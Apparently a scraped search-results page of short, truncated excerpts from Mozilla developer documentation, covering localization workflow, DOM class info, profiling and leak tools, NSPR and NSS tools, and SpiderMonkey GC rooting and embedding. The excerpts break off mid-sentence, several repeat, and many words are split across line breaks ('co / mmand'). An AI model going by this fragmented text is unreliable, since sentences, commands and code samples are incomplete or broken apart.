org and google groups: the main l10n list also available as mozilla.dev.l10n, .l10n in short. discussion about localization take part here just as well as l10n-focused announcements. planning list also available as mozilla.dev.planning, .planning in short. the mozilla project discusses general planning and schedule questions here. discussions of interest to the general mozilla developer co
mmunity are at least notified here. translate the mozilla web or mozilla.dev.l10n.web, we moved announcements and discussions about the translation of the mozilla web pages to this group. all these groups are pretty low traffic. to keep the track of what's going on, it's also a good idea to read the planet mozilla l10n when you have a problem use the above mailing lists the person in char...
...k is done. when a development is started for an specific version, a new repository is created under hg.mozilla.org/releases/. all the content of the trunk is copied to this new branch so that the developing work is done in two (or more) parallel places: the generic trunk and the version oriented branch(es). for every branch and every locale, there is a separate repository for localization files co
mmitted by the localizers. some branch/release names identified: mozilla source + en-us localization files for [ab-cd] locale corresponding firefox version branches in hg mozilla-central l10n-central firefox.next (trunk) mozilla-1.9.2 l10n-mozilla-1.9.2 firefox 3.6 mozilla-1.9.1 l10n-mozilla-1.9.1 firefox 3.5 and, on the forme...
...a.com assigned to: you explain what you need! specify the branch (1.9.2 for firefox 3.6, 1.9.2.1 for firefox 3.6.1, ...) attach the diff file to the bug: content type: patch mark the approval1.9.xxx with ? asking for approval (use the appropriate branch) if you get the approval you will see who_is_ap:approval1.8.xxx+ now, you can upload the changes approved to the cvs server. when you co
mmit the changes you must write in the co
mment the bug number, what you have changed and who has approved. for example: bug 12345, fix typos and resize prefwindow, a=l10n as soon as you have co
mmitted, put the bug in fixed state and write fixed1.8.xxx in the keyword field you have to verify in the next build that the changes have been successful. if so, change the state of the bug to verified...
Writing localizable code
lla and extension developers. for technical details please also look at xul_tutorial:localization. about localizers a few notes about localizers for developers who rarely deal with them: localizers like tools, and they don't like editors, localization tools are often based on key-value pairs, at least some localizers have their talents focused on language skills and are not savvy in progra
mming, or even building applications. guidelines thus, there are a few guidelines you should follow to make localization of your code easier: choose good key names the names chosen for your keys (regardless of whether that's a dtd or a properties file) should be descriptive. think of them as long variable names. if you change the semantics of a localized string, change the key. this will more ...
... choose good key names the names chosen for your keys (regardless of whether that's a dtd or a properties file) should be descriptive. think of them as long variable names. if you change the semantics of a localized string, change the key. this will more likely be a good key name, and it will help tools to pick up that the change you do is different from just a spell fix. try not to assume gra
mmar in composite strings splitting sentences into several keys often inadvertently presumes a gra
mmar, a sentence structure, and such composite strings are often very difficult to translate. when a composite string is needed, try to give the translators "room to move". an example of a well used composite string is firefox's setting for visited pages: the translator can (implicitly) position the t...
...p in the cvsroot repository and the ease of localization. use a good chrome directory structure for a particular module mod, a target path jar:ab-cd.jar!/locale/ab-cd/mod/foo.dtd has been widely tested and is a good place for your files referenced as chrome://mod/locale/foo.dtd. using a directory structure like this eases the localization process without the source code and is especcially reco
mmended to extension authors. jar manifests can make this easy. l10n impact on frozen trees, there is the rule to not check in l10n-impact changes. so what does that mean? l10n-impact is any change to mozilla/@mod@/locales; localizers find out if they have to catch up on changes by doing bonsai queries, just as everybody else does. no change means that this query result is empty. any changed o...
Mozilla DOM Hacking Guide
p this section if you don't have too much time (and i suppose you don't). user's guide to class info warning: this document has not yet been reviewed by the dom gurus, it might contain some errors. specifically, due to some changes that happened around, april 2002, some things that were not possible before are now possible. i will try to update this guide as soon as possible. please send any co
mment to fabian guisset. when should domclassinfo be used to add a new interface to an existing dom object to expose a new dom object to javascript to add a new js external constructor, like "new image()" to bypass the default behavior of xpconnect to implement a "replaceable" property to mess with the prototypes of dom objects example of functionality implemented using domclassinfo: ...
...an override the default "set this property on this object" xpconnect behavior. for more information about each nsixpcscriptable function, please see the nsixpcscriptable documentation. to illustrate the use of nsixpcscriptable and scriptable helper functions, we will take the example of the "location" property of the window object. window.location is a dom object of type "location". however a co
mmon technique is to do window.location = "http://mozilla.org" instead of the correct window.location.href = "http://mozilla.org". so, we have to override the default behavior of "setting the location property on the window object". the default behavior would be that xpconnect expects a nsidomlocation object. however it would be passed a js string. a bad conversion exception would be thrown. befor...
...t. if you want to help please contact me! security features implementation this chapter has not been written yet. if you want to help please contact me! original document information author(s): fabian guisset last updated date: september 27, 2007 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Mozilla Development Strategies
self. even if you're not comfortable with your writing skills, keep in mind that our helpful, happy documentation gnomes will follow along behind you and clean up for you. note: you can mark the bug with this keyword at any time; you don't need to wait until it's actually fixed. take extra time to do it right the first time it's also better to come up with one really solid, well tested, well co
mmented, clean, easy to maintain piece of code than a bunch of quick fixes. you (or someone else) will be back in that code someday. it's easier to do it right once, when your mind is in the problem, than to do it once quickly and then have to come back and do it again the right way. the only thing worse than not understanding someone else's code is not understanding your own. test your code qa's ...
...s. minimize how you are affected by regressions unless you are the type to go out and tackle daily regressions, you need to find a way to not let them affect you. you don't want to have one tree, update it every morning, and then be stuck waiting for blockers to clear. have multiple trees. at least one of them should be updated every day. you'll need this one for regressions that require your i
mmediate attention (a new crasher, a blocker, or problem in your area, for example). use this same tree for small, quick bugs or recent regressions or crashers. for your other tree, don't update as often. update when you know that the tree is in good shape. do your primary development in this tree. you'll need to update, rebuild, re-test and make a diff against the current trunk once you feel your f...
...or mac os x box: # start from your trunk tree on your local disk cd mozilla find . -type d \! -name cvs | xargs -l -p10 cvs tag -l my_base_tag > & ../taglog1.txt find . -type d \! -name cvs | xargs -l -p10 cvs tag -b -l my_branch_tag > & ../taglog2.txt from your windows box: cvs co -r my_branch_tag mozilla/client.mak cd mozilla edit client.mak, putting my_branch_tag in the right places. cvs co
mmit client.mak nmake -f client.mak original document information author(s): seth spitzer and alec flett last updated date: september 3, 2006 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details. ...
Gecko Profiler FAQ
know. i think julian seward has done some measurements on this, i think. [ehsan] try clicking the toolbar icon for the extension, expanding the settings section, and enter the secret cheat code “,” in the threads field and click on “apply (restart profiler)”. this will capture all of the threads that the gecko profiler has been hooked to. this mode is usually reco
mmended when you want to find a thread you want to do more focused profiling on, so that you can find its name and then construct a more useful thread filter string based on the found thread name. how can i run (micro-?) benchmarks on the memory allocator to see if changes in it (or entire allocator replacements) are slower/faster? what you *don’t* want to do is writing a ...
...(at least of mainthread and maybe one or two other ones that make sense) to a specific tab/document/eventqueue? currently not. some functions (reflow, painting, js excecution) insert the url of the associated document into the call stack frame, so you can get a rough idea, but we don’t have instrumentation at the tab/document/eventqueue level. for isolated profiles i reco
mmend profiling a separate browser instance with only the tab that you’re interested in. what are the reco
mmended native profilers across all os's? mac: instruments; linux: perf, zoom, callgrind; windows: concurrency visualizer, vtune, xperf when to use gecko profiler vs. native profilers? gecko profiler: if you need js callstacks or gecko-specific...
... ...
Refcount tracing and balancing
hackery. this results in slower code, but at least you get some data about where the leaks might be occurring from. you must also set one or two additional environment variables, xpcom_mem_log_classes and xpcom_mem_log_objects, to reduce the set of objects being logged, in order to improve performance to something vaguely tolerable. xpcom_mem_log_classes this variable should contain a co
mma-separated list of names which will be used to compare against the types of the objects being logged. for example: env xpcom_mem_log_classes=nsdocshell xpcom_mem_refcnt_log=./refcounts.log ./mach run this will log the addref and release calls only for instances of nsdocshell while running the browser using mach, to a file refcounts.log. note that setting xpcom_mem_log_classes will also list ...
...he file specified by the xpcom_mem_bloat_log variable; see the bloatview documentation for more details). an object's serial number is simply a unique number, starting at one, that is assigned to the object when it is allocated. you may use an object's serial number with the following variable to further restrict the reference count tracing: xpcom_mem_log_objects set this variable to a co
mma-separated list of object serial number or ranges of serial number, e.g., 1,37-42,73,165 (serial numbers start from 1, not 0). when this is set, along with xpcom_mem_log_classes and xpcom_mem_refcnt_log, a stack track will be generated for only the specific objects that you list. for example, env xpcom_mem_log_classes=nsdocshell xpcom_mem_log_objects=2 xpcom_mem_refcnt_log=./refcounts.log ./mac...
...method that munges the foo before returning it to main(), the main program. what this little tree is telling you is that you leak one refcount overall on object 0x00253ab0. but, more specifically, it shows you that: ns_newfoo() "leaks" a refcount. this is probably "okay" because it's a factory method that creates an addref()-ed object. dosomethingwithfooandreturnittoo() leaks two refcounts. h
mm...this probably isn't okay, especially because... main() is back down to leaking one refcount. so from this, we can deduce that main() is correctly releasing the refcount that it got on the object returned from dosomethingwithfooandreturnittoo(), so the leak must be somewhere in that function. so now say we go fix the leak in dosomethingwithfooandreturnittoo(), re-run our trace, grovel throug...
TraceMalloc
se. this documentation is only relevant to older versions of the codebase that still contain it. tracemalloc captures stack traces of all malloc, calloc , realloc, and free calls (this currently covers all operator new and delete calls in mozilla, too). to enable tracemalloc in your build, configure with --enable-trace-malloc. the built mozilla application will support the following additional co
mmand-line options: --trace-malloc filename the application will log allocation and deallocation events with stack traces in a binary format to the given file. if filename is -, nothing is written to a file, but tracemalloc will be active and will track live allocations and their stack traces. --shutdown-leaks=filename on shutdown, the application will save live allocations (with stack traces) ...
...change the current log file to the one identified by logfd, returning the previous fd (so you can maintain a number of open files; keep their fds in a js array!). tracemalloccloselogfd(logfd) - close the log file identified by logfd, flushing its buffer of any events first. if logfd identifies the current log file, change the current log file to the default log file given by the --trace-malloc co
mmand line argument. tracemalloclogtimestamp(caption) - log a timestamp event to the current log file, annotating the log even with the caption string. tracemallocdumpallocations(pathname) - dump a human-readable listing of all traced, live allocations. see nstracemalloc.h for detailed co
mments on the log file format. analyzing the shutdown log the shutdown log is a basic tool for finding memory ...
...eans that non-owning pointers that are nulled out by destructors may show up in leaksoup as cycles. however, despite that, it is probably the easiest way to determine what leak roots are present. run using both the --trace-malloc and --shutdown-leaks options. ignore the allocations log, and run leaksoup over the memory dump (which is a dump of all allocations still live at shutdown) with a co
mmand such as ./run-mozilla.sh ./leaksoup sdleak.log > sdleak.html. this generates a large html file as output. the output of leaksoup begins with all the leak roots, and then lists all the non-root allocations. the roots are either listed as single objects or as strongly connected components (minimal sets of nodes in the graph in which any node is reachable from all other nodes). (a strongly c...
tools/power/rapl
these are machine-wide estimates, so if you want to estimate the power consumption of a single program you should minimize other activity on the machine while measuring. note: the power profiling overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. invocation first, do a standard build of firefox. mac on mac, rapl can be run as follows. $objdir/dist/bin/rapl linux on linux, rapl can be run as root, as follows. ...
... "other" is computed as the package power minus the cores power and gpu power. if the processor does not support gpu or ram estimates then " n/a " will be printed in the relevant column instead of a number, and it will contribute zero to the total. ...
...e was zero or one samples taken. options -i --sample-interval. the length of each sample in milliseconds. defaults to 1000. a warning is given if you set it below 50 because that is likely to lead to inaccurate estimates. -n --sample-count. the number of samples to take. the default is 0, which is interpreted as "unlimited". combining with powermetrics on mac, you can use the mach power co
mmand to run rapl in combination with powermetrics in a way that gives the most useful su
mmary measurements for each of firefox, chrome and safari. ...
A guide to searching crash reports
es a good understanding of both of these functions. search is easy to understand, but the grouping capabilities are easy to overlook. searching the search form you can get to the search page by clicking on the "super search" link near the toolbar at the top right of any page in crash-stats. this brings up a search form like the one in the following screenshot. fields are provided for four co
mmon search criteria: product, version, platform, and process type. the product field is pre-populated with "firefox" because that is a co
mmon case. as the fine print says, the default date range is the past week. the default search: signature facet if you click on the "search" button, you will get results like the ones in the following screenshot. by default, the "signature facet" tab is selec...
...es to the signature facet. this tab shows the distribution of crash reports across the various platforms. crash reports always include a platform field (though it may be empty if something has gone wrong) and so the percentages add up to 100. grouping by "moz crash reason" the second facet tab is a "moz crash reason facet" tab, with results like those shown in the following screenshot. this i
mmediately shows which moz_crash calls are being hit frequently by users. only a subset of crash reports have the "moz crash reason" field -- those that crashed due to hitting a moz_crash call -- so all crashes that lack that field are omitted from this tab. for that reason, the percentages do not add up to 100. an example of less useful grouping the usefulness of grouping varies from field to fie...
...erstanding the full range of the 100+ fields available for searching and grouping. one way to learn about them is to read lots of individual crash reports; note that all fields shown in the details tab of an individual crash report have a tool-tip that indicates its key for search. alternatively, you can browse the complete list. there is also an api through which searches can be performed progra
mmatically. see the api documentation for full details; note that it uses the term "aggregation" for grouping/faceting. ...
Leak And Bloat Tests
p size mail a allocations - number of calls to malloc and friends. there are currently no graphs for these results. ...
...c_add_options --enable-trace-malloc running the tests in your <objdir> run the following co
mmand: make mailbloat this will run the tests and produce some result files. see debugging memory leaks for more information on what to do with this data. todo: add more information on processing output. ...
...urce/mailnews/test/performance these files consist of: overlays (used to provide the hooks for the javascript): bloat/bloataddroverlay.xul bloat/bloatcomposeoverlay.xul bloat/bloatmainoverlay.xul javascript files (used to drive the tests): bloat/bloataddroverlay.js bloat/bloatcomposeoverlay.js bloat/bloatmainoverlay.js preference settings (used to provide a defined profile, see below): co
mmon/mailnewstestprefs.js python scripts (used to set up the profile and run the test): bloat/setupbloattest.py bloat/runtest.py co
mmon/setupco
mmonmailnews.py pre-defined profile initial setup: one pop3 account (mails tbd) one identity one smtp server defined (not used) future requirements/possibilities: one address book where pab has ~1000 entries large message folders imap nntp server a...
McCoy
ofile folder separate from the application so you can uninstall and reinstall without losing your precious keys. backing up data if you need to backup your data or move it from one machine to another you need to take a copy of the profile folder. ...
...c os x) it is highly reco
mmended that you back up your profile folder and store it in a safe location whenever you create a new key; without a backup, there is no way to recover your private keys if they are lost! running mccoy to run mccoy simply run the mccoy executable (or the mccoy application on os x). the first time it runs it will ask you to create a master password. it is strongly reco
mmended that you use a password to protect your mccoy data. once you have a password set you can change it from the keys menu and you will have to enter it each time you run mccoy. signing from co
mmand line currently there is no support to run mccoy from co
mmand line under windows, but it is planned to add this support in the future. however, there are several external and unofficial tools which e...
...password to protect your mccoy data. once you have a password set you can change it from the keys menu and you will have to enter it each time you run mccoy. signing from co
mmand line currently there is no support to run mccoy from co
mmand line under windows, but it is planned to add this support in the future. ...
About NSPR
rather "second generation".) many of the concepts have been reformed, expanded, and matured. today nspr may still be appropriate as the platform dependent layer under java, but its primary application is supporting clients written entirely in c or c++. how it works nspr's goal is to provide uniform service over a wide range of operating system environments. it strives to not export the lowest co
mmon denominator, but to exploit the best features of each operating system on which it runs, and still provide a uniform service across a wide range of host offerings. threads threads are the major feature of nspr. the industry's offering of threads is quite sundry. nspr, while far from perfect, does provide a single api to which clients may program and expect reasonably consistent behavior. the ...
...ding sophisticated, scalable and efficient implementations. nspr makes as much use of what the systems offer as it can. it is a goal of nspr that nspr impose as little overhead as possible in accessing those appropriate system features. thread synchronization thread synchronization is loosely based on monitors as described by c.a.r. hoare in monitors: an operating system structuring concept , co
mmunications of the acm, 17(10), october 1974 and then formalized by xerox' mesa progra
mming language ("mesa language manual", j.g. mitchell et al, xerox parc, csl-79-3 (apr 1979)). this mechanism provides the basic mutual exclusion (mutex) and thread notification facilities (condition variables) implemented by nspr. additionally, nspr provides synchronization methods more suited for use by java. th...
...and from the 64-bit and structural representation. additionally there are routines to convert to and from most well-known forms of ascii into the 64-bit nspr representation. memory management nspr provides api to perform the basic malloc, calloc, realloc and free functions. depending on the platform, the functions may be implemented almost entirely in the nspr runtime or simply shims that call i
mmediately into the host operating system's offerings. linking support for linking (shared library loading and unloading) is part of nspr's feature set. in most cases this is simply a smoothing over of the facilities offered by the various platform providers. where it's headed nspr is applicable as a platform on which to write threaded applications that need to be ported to multiple platforms. t...
NSPR build instructions
the easiest way to get these tools is to install the mozillabuild package. introduction the top level of the nspr source tree is the mozilla/nsprpub directory. although nsprpub is a subdirectory under mozilla, nspr is independent of the mozilla client source tree. building nspr consists of three steps: run the configure script. you may override the compilers (the cc environment variable) or specify options. ...
...alues that are different from most open source projects. if the os vendor provides a compiler (for example, sun and hp), nspr uses that compiler instead of gcc by default. nspr build generates a debug build by default. --disable-debug --enable-optimize specify these two options to generate an optimized (release) build. these two options can actually be used independently, but it's not reco
mmended. --enable-64bit on a dual 32-bit/64-bit platform, nspr build generates a 32-bit build by default. to generate a 64-bit build, specify the --enable-64bit configure option. --target=x86_64-pc-mingw32 for 64-bit builds on windows, when using the mozillabuild environment. --enable-win32-target=win95 this option is only used on windows. nspr build generates a "winnt" configuration by defaul...
...bit platform, nspr build generates a 32-bit build by default. to generate a 64-bit build, specify the --enable-64bit configure option. --target=x86_64-pc-mingw32 for 64-bit builds on windows, when using the mozillabuild environment. --enable-win32-target=win95 this option is only used on windows. nspr build generates a "winnt" configuration by default on windows for historical reasons. we reco
mmend most applications use the "win95" configuration. the "win95" configuration supports all versions of windows. the "win95" name is historical; it should have been named "win32". to generate a "win95" configuration, specify the --enable-win32-target=win95 configure option. --enable-debug-rtl this option is only used on windows. nspr debug build uses the release c run-time library by default. t...
Nonblocking IO In NSPR
introduction previously, all i/o in the netscape portable runtime (nspr) was blocking (or synchronous). a thread invoking an io function is blocked until the io operation is finished. the blocking io model encourages the use of multiple threads as a progra
mming model. a thread is typically created to attend to one of the simultaneous i/o operations that may potentially block. in the nonblocking io model, a file descriptor may be marked as nonblocking. an io function on a nonblocking file descriptor either succeeds i
mmediately or fails i
mmediately with <tt>pr_would_block_error</tt>. a single thread is sufficient to attend to multiple nonblocking file descriptors simultaneously. typically, this central thread invokes <tt>pr_poll()</tt> on a set of nonblocking file descriptors. (note:...
...ewudpsocket()</tt> is always created in blocking mode. one can make the new socket nonblocking by using <tt>pr_setsockopt()</tt> as in the example below (error checking is omitted for clarity): <tt>prfiledesc *sock;</tt> <tt>printn optval = 1;</tt> <tt>sock = pr_newtcpsocket();</tt> /* * make the socket nonblocking */ pr_setsockopt(sock, pr_sockopt_nonblocking, &optval, sizeof(optval)); progra
mming constraints there are some constraints due to the use of nt asynchronous i/o in the nspr. in nspr, blocking sockets on nt are associated with an i/o completion port. once associated with an i/o completion port, we can't disassociate the socket from the i/o completion port. i have seen some strange problems with using a nonblocking socket associated with an i/o completion port. so the first co...
...nchronous i/o in the nspr. in nspr, blocking sockets on nt are associated with an i/o completion port. once associated with an i/o completion port, we can't disassociate the socket from the i/o completion port. i have seen some strange problems with using a nonblocking socket associated with an i/o completion port. so the first constraint is: the blocking/nonblocking io mode of a new socket is co
mmitted the first time a potentially-blocking io function is invoked on the socket. once the io mode of a socket is co
mmitted, it cannot be changed. the potentially-blocking io functions include <tt>pr_connect()</tt>, <tt>pr_accept()</tt>, <tt>pr_acceptread()</tt>, <tt>pr_read()</tt>, <tt>pr_write()</tt>, <tt>pr_writev()</tt>, <tt>pr_recv()</tt>, <tt>pr_send()</tt>, <tt>pr_recvfrom()</tt>, <tt>pr_se...
I/O Functions
this chapter describes the nspr functions used to perform operations such as system access, normal file i/o, and socket (network) i/o. for sample code that illustrates basic i/o operations, see introduction to nspr. for information about the types most co
mmonly used with the functions described in this chapter, see i/o types. functions that operate on pathnames functions that act on file descriptors directory i/o functions socket manipulation functions converting between host and network addresses memory-mapped i/o functions anonymous pipe function polling functions pollable events manipulating layers functions that operate on pathnames a file or directory in a file system is specified by its pathname. nspr uses unix-style pathnames, which are null-terminated character strin...
...differences include the following: the blocking socket functions in nspr take a timeout parameter. two new functions, pr_transmitfile and pr_acceptread, can exploit the new system calls of some operating systems for higher performance. list of functions: pr_openudpsocket pr_newudpsocket pr_opentcp...
...k addresses pr_ntohs pr_ntohl pr_htons pr_htonl pr_familyinet memory-mapped i/o functions the memory-mapped i/o functions allow sections of a file to be mapped to memory regions, allowing read-write accesses to the file to be accomplished by normal memory accesses. memory-mapped i/o functions are currently implemented for unix, linux, mac os x, and win32 only. pr_createfilemap pr_me
mmap pr_memunmap pr_closefilemap anonymous pipe function pr_createpipe polling functions this section describes two of the most important polling functions provided by nspr: pr_poll pr_getconnectstatus pollable events a pollable event is a special kind of file descriptor. the only i/o operation you can perform on a pollable event is to poll it with the pr_poll_read flag. you canno...
NSS Sample Code sample2
this example shows the use of a raw key. ...
...this example shows the use of a raw key. ...
...this example shows the use of a raw key. ...
NSS sources building testing
nes both nss and nspr. if you are a software developer and intend to contribute enhancements to nss, you should obtain the latest development snapshot of nss using mercurial/hg (a distributed source control management tool). in order to get started, anonymous read-only access is sufficient. create a new directory on your computer that you will use as your local work area, and run the following co
mmands. hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above co
mmands complete, you should have two local directories, named nspr and nss, next to each other. (historical information: nspr and nss source code have recently been re-organized into a new directory structure. in past versions, all files were located in a directory hierarchy that s...
...t tools to connect to the server tools. on machines that are configured with a hostname that has been registered in your network's dns, this should work automatically. in other environments (for example in home networks), you could set the host and domsuf (for domain suffix) environment variables to tell the nss suite which hostname to use. as a test, it must be possible to successfully use the co
mmand "ping $host.$domsuf" on your computer (ping reports receiving replies). on many computers the variables host=localhost domsuf=localdomain works. in case you built nss in 64 bits, you need to set the use_64 environment variable to 1 to run the tests. if you get name resolution errors, try to disable ipv6 on the loopback device. after you have set the required environment variables, use "cd nss...
...ts, you need to set the use_64 environment variable to 1 to run the tests. if you get name resolution errors, try to disable ipv6 on the loopback device. after you have set the required environment variables, use "cd nss/tests" and start the tests using "./all.sh". the tests will take a while to complete; on a slow computer it could take a couple of hours. once the test suite has completed, a su
mmary will be printed that shows the number of failures. you can find the test suite results in directory nss/../tests_results (i.e. the results directory ends up next to the nss directory, not within it). each test suite execution will create a new subdirectory; you should clean them up from time to time. inside the directory you'll find text file output.log, which contains a detailed report of all...
NSS Tools sslstrength
the second form attempts to connect to the named ssl host. the hostname argument must be present. however, the port number is an optional argument, and if not given, will default to the https port (443). ...
...d-line client which connects to an ssl-server, and reports back the encryption cipher and strength used. synopsis 1) sslstrength ciphers 2) sslstrength hostname[:port] [ciphers=xyz] [debug] [verbose] [policy=export|domestic] description the first form simple lists out the possible ciphers. the letter in the first column of the output is used to identify the cipher preferences in the ciphers= co
mmand. the second form attempts to connect to the named ssl host. the hostname argument must be present. however, the port number is an optional argument, and if not given, will default to the https port (443). restricting ciphers by default, sslstrength assumes that all the preferences are on, so it will use any preferences in your policy. the enabled ciphersuites will always be printed out before...
...h assumes that all the preferences are on, so it will use any preferences in your policy. the enabled ciphersuites will always be printed out before the connection is made. if you want to test out a particular cipher, there are two ways to affect which ciphers are available. firstly, you can set policy to be either domestic or export. this restricts the available ciphers to the same set used by co
mmunicator. in addition to this, the ciphers co
mmand can be used to further restrict the ciphers available. the argument to the ciphers co
mmand is a string of characters, where each single character represents a cipher. you can obtain this list of character->cipher mappings by doing 'sslstrength ciphers'. for example, ciphers=bfi will turn on these cipher preferences and turn off all others. ...
PKCS11 Implement
implementing pkcs #11 for nss note: this document was originally for the netscape security library that came with netscape co
mmunicator 4.0. this note will be removed once the document is updated for the current version of nss. this document supplements the information in pkcs #11: cryptographic token interface standard, version 2.0 with guidelines for implementors of cryptographic modules who want their products to work with mozilla client software: how nss calls pkcs #11 functions. function-specific information organized in the same categories as the pkcs #11 specification. functions for different kinds of tokens. su
mmarizes the support nss expects from different kinds of tokens. installation. installing modules and informing the user of changes in the cryptographic modules s...
...ecause they can't decrypt messages. signing and decryption tokens can be used for s/mime and for encrypted transactions over unsecured networks such as the internet. multipurpose tokens provide the full range of cryptographic services. they can be thought of as cryptographic accelerator cards. future releases of nss will also support multipurpose tokens that are fips-140 compliant. table 1.2 su
mmarizes the pkcs #11 functions (in addition to the other functions described in this document) that nss expects each type of token to support. pkcs #11 functions required for different kinds of tokens external key distribution tokens signing tokens signing and decryption tokens multipurpose tokens c_encrypt c_decrypt ckm_rsa_pkcs ckm_rsa_x_509 (ssl 2.0 server only) c_decrypt c...
... except that c_wrapkey and c_unwrapkey are optional. the nss always attempts to use these two functions but uses c_encrypt and c_decrypt instead if c_wrapkey and c_unwrapkey aren't implemented. installation you can install your module in any convenient location on the user's hard disk, but you must tell the user to type the module name and location in the cryptographic modules portion of the co
mmunicator security info window. to do so, the user should follow these steps: click the security icon near the top of any co
mmunicator window. in the security info window, click cryptographic modules. in the cryptographic modules frame, click add. in the create a new security module dialog box, add the security module name for your module and the full pathname for the security module file. to...
NSS tools : cmsutil
name cmsutil — performs basic cryptograpic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages. synopsis cmsutil [options] arguments description the cmsutil co
mmand-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages. to run cmsutil, type the co
mmand cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section. each co
mmand takes one option. ...
...-c encrypt a message. ...
...-c encrypt a message. -e envelope a message. -o create a certificates-only message. -s sign a message. arguments option arguments modify an action and are lowercase. ...
TLS Cipher Suite Discovery
they must agree on these items: key establishment algorithm (such as rsa, dh, or ecdh) peer authentication algorithm (such as rsa, dsa, ecdsa) bulk data encryption algorithm (such as rc4, des, aes) and key size digest algorithm for message authentication checking (sha1, sha256) there are numerous available choices for each of those categories, and the number of possible combinations of all those choices is large. tls does not allow all possible combinations of choices from those categories to be used. ...
...t time until another new cipher suite was defined. at any time, any real implementation implements some subset of the complete set of well-defined cipher suites. each new release of a tls implementation may contain support for new cipher suites not supported in previous versions. when a new version of a tls implementation is made available for use by applications, those applications may wish to i
mmediately use the newly supported cipher suites found in the new version, without the application needing to be modified and re-released to know about these new cipher suites. to that end, nss's libssl offers a way for applications to discover at run time the set of cipher suites supported by that version of libssl. libssl provides enough information about each of the supported cipher suites that t...
...r { pruint16 length; pruint16 ciphersuite; /* cipher suite name */ const char * ciphersuitename; /* server authentication info */ const char * authalgorithmname; sslauthtype authalgorithm; /* key exchange algorithm info */ const char * keatypename; sslkeatype keatype; /* sy
mmetric encryption info */ const char * symciphername; sslcipheralgorithm symcipher; pruint16 symkeybits; pruint16 symkeyspace; pruint16 effectivekeybits; /* mac info */ const char * macalgorithmname; sslmacalgorithm macalgorithm; pruint16 macbits; pruintn isfips ...
NSS Tools sslstrength
the second form attempts to connect to the named ssl host. the hostname argument must be present. however, the port number is an optional argument, and if not given, will default to the https port (443). ...
...and-line client which connects to an ssl-server, and reports back the encryption cipher and strength used. synopsis 1) sslstrength ciphers 2) sslstrength hostname[:port] [ciphers=xyz] [debug] [verbose] [policy=export|domestic] description the first form simple lists out the possible ciphers. the letter in the first column of the output is used to identify the cipher preferences in the ciphers= co
mmand. the second form attempts to connect to the named ssl host. the hostname argument must be present. however, the port number is an optional argument, and if not given, will default to the https port (443). restricting ciphers by default, sslstrength assumes that all the preferences are on, so it will use any preferences in your policy. the enabled ciphersuites will always be printed out before ...
...h assumes that all the preferences are on, so it will use any preferences in your policy. the enabled ciphersuites will always be printed out before the connection is made. if you want to test out a particular cipher, there are two ways to affect which ciphers are available. firstly, you can set policy to be either domestic or export. this restricts the available ciphers to the same set used by co
mmunicator. in addition to this, the ciphers co
mmand can be used to further restrict the ciphers available. the argument to the ciphers co
mmand is a string of characters, where each single character represents a cipher. you can obtain this list of character->cipher mappings by doing 'sslstrength ciphers'. for example, ciphers=bfi will turn on these cipher preferences and turn off all others. ...
GC Rooting Guide
js::rooted<t> will cast to a js::handle<t>, the compiler will enforce correct rooting of any parameters passed to a function that may trigger gc. js::handle<t> exists because creating and destroying a js::rooted<t> is not free (though it only costs a few cycles). thus, it makes more sense to only root the gc thing once and reuse it through an indirect reference. like a reference, a js::handle is i
mmutable: it can only ever refer to the js::rooted<t> that it was created for. similarly to js::rooted<t>, there are typedefs available for the main types: template class typedef js::handle<js::value> js::handlevalue js::handle<jsobject*> js::handleobject js::handle<jsstring*> js::handlestring js::handle<jsscript*> js::handlescript ...
...tvalue(jscontext *cx, js::mutablehandlevalue valueout) { // ... if (!waserror) valueout.set(resultvalue); return waserror; } void otherfunction(jscontext *cx) { js::rootedvalue value(cx); bool success = maybegetvalue(cx, &value); // ... } return values it's ok to return raw pointers! these do not need to be wrapped in any of rooting classes, but they should be i
mmediately used to initialize a js::rooted<t> if there is any code that could gc before the end of the containing function; a raw pointer must never be stored on the stack during a gc. one rare but especially tricky case to watch out for is where an raii destructor could gc in a function that is returning a bare pointer. consider: jsobject* somefunction(jscontext* cx) { js::rooted<jsobject*> o...
...oid trace(jstracer* trc, const char* name) { if (mything) mything->trace(trc, "my thing"); } } if the toplevel structure is not stored in a jsobject, then how it gets traced depends on why it should be alive. the simplest approach is to use js::persistentrooted (usable on anything with a trace method with the appropriate signature): js::persistentrooted<myowningstruct> i
mmortalstruct; but note that js::persistentrooted in a struct or class is a rather dangerous thing to use -- it will keep a gc thing alive, and most gc things end up keeping their global alive, so if your class/struct is reachable in any way from that global, then nothing will ever be cleaned up by the gc. su
mmary use js::rooted<t> typedefs for local variables on the stack. use js::handle<t>...
How to embed the JavaScript engine
# if you're using version other than spidermonkey 31, please change -lmozjs-xx to your version. [mac] clang++ -std=c++11 -i<objdir>/dist/include -l<ob...
... bool ok = js::evaluate(cx, opts, script, strlen(script), &rval); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_shutdown(); return 0; } build and run the hello world example build co
mmand line depends on the os and the tools. here are sample mac and linux co
mmand lines (where <objdir> is the directory where spidermonkey was built): # if you're using debug build of spidermonkey, you need -ddebug in addition to the co
mmand below. # if you're using version other than spidermonkey 31, please change -lmozjs-xx to your version. [mac] clang++ -std=c++11 -i<objdir>/dist/include -l<objdir>/dist/lib helloworld.cpp -o helloworld -lmozjs-31 -lz [linux] g++ -std...
...to a text editor and save the file as helloworld.cpp in the spidermonkey js\src directory. to get a copy of the code sample without line numbers, hover over the sample near the top until buttons appear. then click the view source button, and copy the code from the window that appears. compile the helloworld application and link to the spidermonkey library. run the helloworld executable at the co
mmand line: ./helloworld how to call c functions from javascript say the c function is named doit and it would like at least two actual parameters when called (if the caller supplies fewer, the js engine should ensure that undefined is passed for the missing ones): #define doit_minargs 2 // [spidermonkey 24] use jsbool instead of bool. static bool doit(jscontext *cx, unsigned argc, jsval *v...
Exact Stack Rooting
